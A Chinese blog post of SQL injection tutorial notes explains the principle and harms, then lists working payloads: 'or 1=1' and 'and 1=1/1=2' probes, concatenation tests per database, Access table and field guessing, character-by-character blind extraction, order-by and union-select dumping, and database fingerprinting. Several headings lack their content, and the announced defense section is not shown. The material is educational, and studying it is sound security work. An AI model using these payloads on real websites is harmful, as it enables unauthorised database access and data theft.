sql注入

 

主要:SQL注入的原理、SQL注入的危害、SQL注入攻击的手段、

  ASP+Access注入、ASPX+MsSQL注入、PHP+MySQL注入、JSP+Oracle注入;

以及深入SQL注入攻击,如SQL盲注、利用操作系统、SQL注入的绕过、如何防御SQL注入。

 

目录:

什么是SQL注入

SQL注入攻击

脚本类型+数据库类型注入

工具介绍

SQL盲注

利用操作系统

SQL注入绕过

防御SQL注

 

SQL注入

理解SQL注入 SQL注入是一种将SQL代码插入或添加到应用(用户)的输入参数中的攻击,之后再将这些参数传递给后台的SQL服务器加以解析并执行。理解SQL注入产生过程 www.topsec.com.cn/home.php?uid=1 www.topsec.com.cn/home.php?uid=1 or 1=1

理解SQL注入 OWASP

 

 

SQL注入产生的过程

 

SQL注入的危害 这些危害包括但不局限于: 数据库信息泄漏:数据库中存放的用户的隐私信息的泄露。 网页篡改:通过操作数据库对特定网页进行篡改。 网站被挂马,传播恶意软件:修改数据库一些字段的值,嵌入网马链接,进行挂马攻击。 数据库被恶意操作:数据库服务器被攻击,数据库的系统管理员帐户被窜改。 服务器被远程控制,被安装后门。经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统。 破坏硬盘数据,瘫痪全系统。 一些类型的数据库系统能够让SQL指令操作文件系统,这使得SQL注入的危害被进一步放大。

 

 SQL注入攻击////:

取消友好HTTP错误消息

寻找SQL注入:单引号法/and 1=1 和 and 1=2 法

确认注入点

  区分数字和字符串:

      数字型: SELECT * FROM user WHERE id = 1 SELECT * FROM user WHERE id > 1

      带引号类型的: SELECT * FROM user WHERE name = ‘admin’ SELECT * FROM user WHERE date > ‘2014-2-24’

  内联SQL注入:内联注入是指插入查询注入SQL代码后,原来的查询仍然会全部执行。

    字符串内联注入

        

 

    数字值内联注入

          

 

  终止式SQL注入:终止式SQL语句注入是指攻击者在注入SQL代码时,通过注释剩下的查询来成功结束该语句。

     数据库注释语法

        

 

     使用注释

   识别数据库

      

  

  数据库连接运算符

      

      

      www.topsec.com.cn/home.php?user=admin --原始语句

       www.topsec.com.cn/home.php?user=ad‘ + ’min --MsSQL

       www.topsec.com.cn/home.php?user=ad‘ ’min --MySQL

       www.topsec.com.cn/home.php?user=ad’ || ‘min --Oracle

 

ASP+Access注入

  Access数据库注入攻击基本技术

     爆出数据库类型

       内置变量爆数据库类型

       内置数据表爆数据库类型

    猜表名:  and exists (select * from 表名) and (select count(*) from 表名)>=0

    猜字段名及字段长度:  and exists(select 字段名 from 表名) and (select count(字段名) from 表名)>=0

    猜字段长度: and (select top 1 len(字段名) from 表名)>1 and (select top 1 len(字段名) from 表名)>2 and (select top 1 len(字段名) from 表名)>n

    猜字段值:  

and (select top 1 asc(mid (字段名,1,1)) from 表名)>0 and (select top 1 asc(mid (字段名,1,1)) from 表名)>1 and (select top 1 asc(mid (字段名,1,1)) from 表名)>n and (select top 1 asc(mid (字段名,2,1)) from 表名)>0 and (select top 1 asc(mid (字段名,2,1)) from 表名)>2 and (select top 1 asc(mid (字段名,2,1)) from 表名)>n

   SQL注入中的高效查询

     Order by 猜字段数目:  Order by 1 Order by 2 Order by n

     Union select 爆字段内容:  and 1=2 union select 1,字段名,字段2,...,n from 表名

  爆出数据库类型-内置变量爆数据库类型

     and user>0

   爆出数据库类型-内置数据表爆数据库类型

     and (select count(*) from sysobjects)>=0

     and (select count(*) from msysobjects)>=0

  

  手工注入猜解流程

      

 

posted @ 2018-06-15 01:50 klsfct 阅读(...) 评论(...) 编辑 收藏